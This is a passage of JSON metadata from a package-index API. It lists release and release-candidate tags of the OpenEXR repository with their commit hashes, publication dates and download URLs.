GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.8-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.8-rc/manifests","release_url":null},{"name":"v3.4.7","sha":"6768d5da78af4ba5b91bf3820ed11258f72743b0","kind":"tag","published_at":"2026-03-15T18:39:50.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.7/manifests","release_url":null},{"name":"v3.4.7-rc","sha":"e054afe21e8ed07e8b4f1860f548ddeeecb99ba8","kind":"tag","published_at":"2026-03-12T16:28:35.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.7-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.7-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.7-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.7-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.7-rc/manifests","release_url":null},{"name":"v3.4.6","sha":"d7605f5990900cff8024f1fb36ffb0912d340b52","kind":"tag","published_at":"2026-03-01T21:17:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.6","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.6/manifests","release_url":null},{"name":"v3.3.8","sha":"3fad448f2c98c70a2f6403566a664e32bbe770f8","kind":"tag","published_at":"2026-03-01T21:16:47.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.8","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.8/manifests","release_url":null},{"name":"v3.2.6","sha":"14e438dce8e6ebd03bc5564d02cfa97f9be6028a","kind":"tag","published_at":"2026-03-01T21:15:48.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.6","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.6/manifests","release_url":null},{"name":"v3.4.6-rc","sha":"22011b12f604e42b1530d879ffefc4db9a493c8b","kind":"tag","published_at":"2026-02-27T18:03:45.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.6-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.6-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.6-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.6-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.6-rc/manifests","release_url":null},{"name":"v3.2.6-rc","sha":"14e438dce8e6ebd03bc5564d02cfa97f9be6028a","kind":"tag","published_at":"2026-02-26T02:08:29.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.6-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.6-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.6-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.6-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.6-rc/manifests","release_url":null},{"name":"v3.3.8-rc","sha":"3fad448f2c98c70a2f6403566a664e32bbe770f8","kind":"tag","published_at":"2026-02-26T01:21:15.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.8-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.8-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.8-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.8-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.8-rc/manifests","release_url":null},{"name":"v3.4.5","sha":"d19b2c3c0bc884a2837e2a60b1caa23dcb5b3296","kind":"tag","published_at":"2026-02-21T20:42:23.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.5/manifests","release_url":null},{"name":"v3.3.7","sha":"d2b41c84abedf3af0c3b5f2494299037acfa98c3","kind":"tag","published_at":"2026-02-19T22:16:02.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7/manifests","release_url":null},{"name":"v3.3.7-rc4","sha":"d2b41c84abedf3af0c3b5f2494299037acfa98c3","kind":"tag","published_at":"2026-02-18T06:56:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.7-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.7-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.7-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc4/manifests","release_url":null},{"name":"v3.3.7-rc3","sha":"6e02acbc5faf3356b6416597f3ef4e4e54f10cd3","kind":"tag","published_at":"2026-02-18T03:17:27.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.7-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.7-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.7-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc3/manifests","release_url":null},{"name":"v3.3.7-rc2","sha":"a0c15909049eaf78078f6a9da20b1184dc7e94bd","kind":"tag","published_at":"2026-02-18T02:06:17.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.7-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.7-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.7-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc2/manifests","release_url":null},{"name":"v3.3.7-rc","sha":"4b13b44582528b4300cfb5e2d8e710f26aac88e1","kind":"tag","published_at":"2026-02-17T02:39:57.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.7-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.7-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.7-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.7-rc/manifests","release_url":null},{"name":"v3.4.5-rc","sha":"b29aad89c43f2a8e550a8e5dfa8d3e878739a8d5","kind":"tag","published_at":"2026-02-17T01:01:18.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.5-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.5-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.5-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.5-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.5-rc/manifests","release_url":null},{"name":"v3.4.4","sha":"741ecb82ccdb291ce5b04713fc6c03208753575e","kind":"tag","published_at":"2025-11-19T20:43:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4/manifests","release_url":null},{"name":"v3.4.4-rc2","sha":"741ecb82ccdb291ce5b04713fc6c03208753575e","kind":"tag","published_at":"2025-11-17T01:18:43.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.4-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.4-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.4-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4-rc2/manifests","release_url":null},{"name":"v3.4.4-rc","sha":"575005bcf19da7400c0d2129fe0e67647ae45637","kind":"tag","published_at":"2025-11-15T14:33:46.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.4-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.4-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.4-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.4-rc/manifests","release_url":null},{"name":"v3.4.3","sha":"042c83d28dc8ad754f970800a651509ca61a0570","kind":"tag","published_at":"2025-11-05T01:36:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3/manifests","release_url":null},{"name":"v3.3.6","sha":"027f33284f146d91bf983a58c8ea50c36154f339","kind":"tag","published_at":"2025-11-05T01:24:57.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.6","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6/manifests","release_url":null},{"name":"v3.2.5","sha":"59fe81b806151d870648f702442b83730e6e6473","kind":"tag","published_at":"2025-11-05T01:21:07.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.5/manifests","release_url":null},{"name":"v3.3.6-rc4","sha":"85c1082a4fb6bb4886c210677ae60b7f64bb7252","kind":"tag","published_at":"2025-11-04T16:37:18.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.6-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.6-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.6-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc4/manifests","release_url":null},{"name":"v3.4.3-rc3","sha":"042c83d28dc8ad754f970800a651509ca61a0570","kind":"tag","published_at":"2025-11-04T16:13:01.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.3-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.3-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.3-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc3/manifests","release_url":null},{"name":"v3.2.5-rc","sha":"59fe81b806151d870648f702442b83730e6e6473","kind":"commit","published_at":"2025-11-04T00:04:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.5-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.5-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.5-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.5-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.5-rc/manifests","release_url":null},{"name":"v3.3.6-rc3","sha":"c79625cf15898cf5a299af89906ef8a39444c9e2","kind":"commit","published_at":"2025-11-03T18:28:32.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.6-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.6-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.6-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc3/manifests","release_url":null},{"name":"v3.4.3-rc2","sha":"b9a36b4c3ec717e994535aeb5c1beae8bfbd15e1","kind":"tag","published_at":"2025-11-03T16:51:30.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.3-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.3-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.3-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc2/manifests","release_url":null},{"name":"v3.3.6-rc2","sha":"d5d8907b9b1e592d8ef5a7fe4a86fd25cdd8eb0c","kind":"commit","published_at":"2025-11-02T21:03:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.6-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.6-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.6-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc2/manifests","release_url":null},{"name":"v3.3.6-rc","sha":"6953bdb81b153dd213b1042bdace2d85b8b3b094","kind":"commit","published_at":"2025-11-02T18:27:38.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.3.6-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.6-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.3.6-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.3.6-rc/manifests","release_url":null},{"name":"v3.4.3-rc","sha":"ddac04a9e46cbde010a01cd0f702b69ac7d634b6","kind":"tag","published_at":"2025-10-30T23:16:40.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.3-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.3-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.3-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.3-rc/manifests","release_url":null},{"name":"v3.4.2","sha":"3891665003ac7e371739ad9a8e6d82e2a0418e03","kind":"tag","published_at":"2025-10-16T14:52:56.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2/manifests","release_url":null},{"name":"v3.4.2-rc2","sha":"3891665003ac7e371739ad9a8e6d82e2a0418e03","kind":"tag","published_at":"2025-10-13T17:20:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.2-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.2-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.2-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2-rc2/manifests","release_url":null},{"name":"v3.4.2-rc","sha":"c4bab21917c574df8ff29530deb78dc24568c117","kind":"tag","published_at":"2025-10-13T17:13:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.2-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.2-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.2-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.2-rc/manifests","release_url":null},{"name":"v3.4.1","sha":"3923db9c4aef34d67783e7bc64f6b6eb7028268f","kind":"tag","published_at":"2025-10-08T19:16:42.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1/manifests","release_url":null},{"name":"v3.4.1-rc2","sha":"3923db9c4aef34d67783e7bc64f6b6eb7028268f","kind":"tag","published_at":"2025-10-07T15:23:08.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.1-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.1-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.1-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1-rc2/manifests","release_url":null},{"name":"v3.4.1-rc","sha":"d7ed211481f702ce6e82ba1f94c4dd21644d6b6e","kind":"tag","published_at":"2025-10-06T02:18:57.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.1-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.1-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.1-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.1-rc/manifests","release_url":null},{"name":"v3.4.0","sha":"20a65852895894434bea88613f6d29ac8e88bd6e","kind":"tag","published_at":"2025-09-05T17:30:52.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0/manifests","release_url":null},{"name":"v3.4.0-rc2","sha":"7a27972b1206649fad26c44a5674f84ad2b39be0","kind":"tag","published_at":"2025-09-02T23:49:49.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.0-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0-rc2/manifests","release_url":null},{"name":"v3.4.0-rc","sha":"75563422ac7fbabe32add4a0b8a8fd6e4e3c5be5","kind":"tag","published_at":"2025-09-02T23:28:51.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4.0-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.0-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4.0-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4.0-rc/manifests","release_url":null},{"name":"v3.4-alpha","sha":"9dd63df87bdeca0d459f16ad30d7915b870ba089","kind":"tag","published_at":"2025-08-02T20:33:20.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.4-alpha","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.4-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.4-alpha/manifests","release_url":null},{"name":"v3.3.5","sha":"6661cb40c6fa8d332f142e660e25ac96675c15bd","kind":"tag","publis